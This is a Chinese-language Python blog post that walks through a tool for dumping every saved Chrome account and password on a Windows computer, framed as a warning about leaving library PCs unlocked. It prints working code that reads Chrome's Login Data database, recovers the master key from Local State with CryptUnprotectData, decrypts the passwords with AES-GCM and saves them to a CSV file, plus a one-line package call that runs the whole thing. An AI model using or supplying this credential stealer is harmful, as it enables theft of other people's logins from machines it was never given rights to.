Python 一键获取电脑浏览器的账号密码


Posted in Python onMay 11, 2022

导语

发现很多人在学校图书馆喜欢用电脑占座(以古度今,我好像好多年没去过学校图书馆了),而且出去的时候经常不锁屏,为了让大家养成良好的习惯,我来带大家写个小程序吧,无需输入任何密码就可以快速获取你存储在电脑浏览器中的所有账号和密码,算是通过实践出真知来给大家提个醒了~

废话不多说,让我们愉快地开始吧~

相关文件

Github地址

开发工具

Python版本:3.7.8

相关模块:

pikachupytools模块;

pycryptodome模块;

以及一些python自带的模块。

环境搭建

安装Python并添加到环境变量,pip安装需要的相关模块即可。

原理简介

众所周知,我们的浏览器里一般存储了很多我们访问过的网站的账号和密码:

Python 一键获取电脑浏览器的账号密码

一般情况下,查看这些密码是需要输入电脑的开机密码的。但是事实上,我们也可以通过其他方式直接查看这些账号密码。例如谷歌浏览器里保存账号密码的数据库文件默认路径为:

os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Default\Login Data'

我们可以通过读取该文件获得对应的账号密码:

'''读取数据库数据'''
def readdb(self, dbpath, master_key):
    sql = 'SELECT origin_url, username_value, password_value, date_created, date_last_used FROM logins;'
    client = sqlite3.connect(dbpath)
    cursor = client.cursor()
    with open(self.savename, 'a', newline='', encoding='utf-8-sig') as csv_file:
        cursor.execute(sql)
        csv_writer = csv.writer(csv_file, dialect=('excel'))
        if not self.write_heads_flag:
            csv_writer.writerow(self.csv_heads)
            self.write_heads_flag = True
        info = []
        for row in cursor.fetchall():
            for idx in range(len(self.csv_heads)):
                if isinstance(row[idx], bytes):
                    info.append(self.decrypt(row[idx], master_key))
                else:
                    info.append(row[idx])
            csv_writer.writerow(info)
            info = []
    cursor.close()
    client.close()

其中密码是加密之后的结果,打印出来大概是这样子的:

Python 一键获取电脑浏览器的账号密码

但是解密其实也很简单,通过网上的资料可以知道,我们只需要获得key值:

'''获得master key'''
def getmasterkey(self, local_state_path):
    import win32crypt
    with open(os.environ['USERPROFILE'] + os.sep + local_state_path, 'r', encoding='utf-8') as fp:
        local_state = fp.read()
        local_state = json.loads(local_state)
    master_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
    master_key = master_key[5:]
    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
    return master_key

然后根据key值进行解码就行了:

'''解码'''
def decrypt(self, value, master_key):
    print(value)
    if value[:3] == b'v10':
        from Crypto.Cipher import AES
        iv, payload = value[3:15], value[15:]
        cipher = AES.new(master_key, AES.MODE_GCM, iv)
        decrypted_value = cipher.decrypt(payload)
        decrypted_value = decrypted_value[:-16].decode()
    else:
        import win32crypt
        decrypted_value = win32crypt.CryptUnprotectData(value)[1].decode()
    return decrypted_value

解码之后的运行效果结果如下:

Python 一键获取电脑浏览器的账号密码

获得的结果默认保存在results.csv中,截图如下:

Python 一键获取电脑浏览器的账号密码

ok,大功告成啦,完整源代码详见相关文件。

想要快速测试的小伙伴只需要pip安装一下pikachupytools包:

pip install pikachupytools --upgrade

然后简单写几行代码就能调用运行了:

from pytools import pytools

tool_client = pytools.pytools()
tool_client.execute('decryptbrowser')

到此这篇关于基于Python实现一键获取电脑浏览器的账号密码的文章就介绍到这了!

Python 相关文章推荐
python实现探测socket和web服务示例
Mar 28 Python
python 七种邮件内容发送方法实例
Apr 22 Python
Python实现多进程共享数据的方法分析
Dec 04 Python
python写入并获取剪切板内容的实例
May 31 Python
Python subprocess模块功能与常见用法实例详解
Jun 28 Python
详解Python使用Plotly绘图工具,绘制甘特图
Apr 02 Python
利用Tensorflow的队列多线程读取数据方式
Feb 05 Python
Xadmin+rules实现多选行权限方式(级联效果)
Apr 07 Python
Pytho爬虫中Requests设置请求头Headers的方法
Sep 22 Python
Python调用SMTP服务自动发送Email的实现步骤
Feb 07 Python
python实现MD5进行文件去重的示例代码
Jul 09 Python
Python如何解决secure_filename对中文不支持问题
Jul 16 Python
图神经网络GNN算法
May 11 #Python
python神经网络ResNet50模型
May 06 #Python
python和anaconda的区别
May 06 #Python
python神经网络Xception模型
May 06 #Python
Python使用永中文档转换服务
May 06 #Python
Python tensorflow卷积神经Inception V3网络结构
May 06 #Python
Python实现Matplotlib,Seaborn动态数据图
May 06 #Python
You might like
一道关于php变量引用的面试题
2010/08/08 PHP
PHP中mysqli_affected_rows作用行数返回值分析
2014/12/26 PHP
PHP SPL标准库之文件操作(SplFileInfo和SplFileObject)实例
2015/05/11 PHP
PHP实现的常规正则验证helper公共类完整实例
2017/04/27 PHP
Ajax+PHP实现的模拟进度条功能示例
2019/02/11 PHP
Jquery.TreeView结合ASP.Net和数据库生成菜单导航条
2010/08/27 Javascript
jQuery之排序组件的深入解析
2013/06/19 Javascript
jquery中JSON的解析方式
2015/03/16 Javascript
jquery实现华丽的可折角广告代码
2015/09/02 Javascript
node.js从数据库获取数据
2016/05/08 Javascript
JS button按钮实现submit按钮提交效果
2016/11/01 Javascript
JS实现搜索关键词的智能提示功能
2017/07/07 Javascript
Vue v2.5 调整和更新不完全问题
2017/10/24 Javascript
Vue登录注册并保持登录状态的方法
2018/08/17 Javascript
element-ui table span-method(行合并)的实现代码
2018/12/20 Javascript
谈谈为什么你的 JavaScript 代码如此冗长
2019/01/30 Javascript
JavaScript实现的开关灯泡点击切换特效示例
2019/07/08 Javascript
浅谈Vue.set实际上是什么
2019/10/17 Javascript
Django中处理出错页面的方法
2015/07/15 Python
改进Django中的表单的简单方法
2015/07/17 Python
Django中传递参数到URLconf的视图函数中的方法
2015/07/18 Python
Python使用设计模式中的责任链模式与迭代器模式的示例
2016/03/02 Python
Python列表(List)知识点总结
2019/02/18 Python
如何基于Python爬虫爬取美团酒店信息
2020/11/03 Python
Scrapy实现模拟登录的示例代码
2021/02/21 Python
Allsole美国/加拿大:英国一家专门出售品牌鞋子的网站
2018/10/21 全球购物
绿化工程实施方案
2014/03/17 职场文书
逃课打麻将检讨书
2014/10/05 职场文书
三严三实心得体会范文
2014/10/13 职场文书
离职员工给领导和同事的感谢信
2015/11/03 职场文书
导游词之南京中山陵
2019/11/27 职场文书
教你使用pyinstaller打包Python教程
2021/05/27 Python
Redis 哨兵集群的实现
2021/06/18 Redis
MySQL数据库10秒内插入百万条数据的实现
2021/11/01 MySQL
浅析Python OpenCV三种滤镜效果
2022/04/11 Python
Python四款GUI图形界面库介绍
2022/06/05 Python